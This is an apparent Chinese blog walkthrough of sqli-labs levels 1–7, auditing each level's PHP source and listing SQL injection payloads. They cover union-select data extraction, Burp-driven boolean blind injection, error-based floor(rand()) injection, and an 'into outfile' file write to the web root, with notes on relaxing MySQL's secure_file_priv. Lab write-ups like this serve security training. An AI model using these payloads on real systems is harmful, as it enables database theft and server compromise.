sqli-labs-master-源码审计(less-1-7)

less-1
先看源码,查看重点代码,sql传参没有进过任何过滤
请添加图片描述

请添加图片描述

使用语句:
单引号判断:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’
判断字段:http://127.0.0.1/sqli-labs-master/Less-1/?id=1’order by 4 --+
判断注入位置:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’union select 1,2,3 --+
获取信息:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1’ union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) --+


less-2
审计源码
发现$id并没有进行单引号,id也没有进行过滤,构造语句:-1unionselect1,database(),user()
请添加图片描述


less-3
审计源代码
发现id也没有进行过滤,$id加()了,尝试使用单括号闭合,构造语句:-1’)union select 1,database(),user()–+
请添加图片描述


less-4
审计源码可以看到,对id进行加双引号过滤,尝试构造:http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3 --+
请添加图片描述


less-5
盲注:布尔盲注,时间盲注,还有报错注入
可以采用burp、sqlmap进行注入
burp:
判断数据库长度-设置后面的1为变量:1’ and length(database())=1–+
猜测数据库名–1,1为第一位,2,1为第二位–从a开始GET /Less-5/?id=1’ and substr(database(),1,1)=‘§a§’–+
爆破表的数量:1’ and (select count(table_name) from information_schema.tables where table_schema = ‘security’) =4–+
爆破表的名称:1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = ‘e’–+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表。
#1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。

请添加图片描述


less-6
和第五关类似,只不过你把单引号换成双引号,示例:http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select1from (selectcount(*),concat(0x3a,0x3a,(select table_name from information_schema.tableswhere table_schema=database() limit0,1),0x3a,0x3a,floor(rand()*2))namefrom information_schema.tablesgroupbyname)a)–+
请添加图片描述


less-7
考点在于mysql最高权限
构造语句:http://127.0.0.1/sqlilabs/Less-7/?id=1’))%20union%20select%201,2,3%20into%20outfile%20%22c://phpStudy//PHPTutorial//www//sqlilabs//Less-7//uuu.txt%22%23
查看目录下,已生成uuu.txt文档

注意在要对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值

请添加图片描述


在my.ini文件[mysqld]的后面加上secure_file_priv=‘’(两个英文单引号),然后重启phpstudy即可。
源码如下:
请添加图片描述


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

忘_忧

留个打赏呗

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值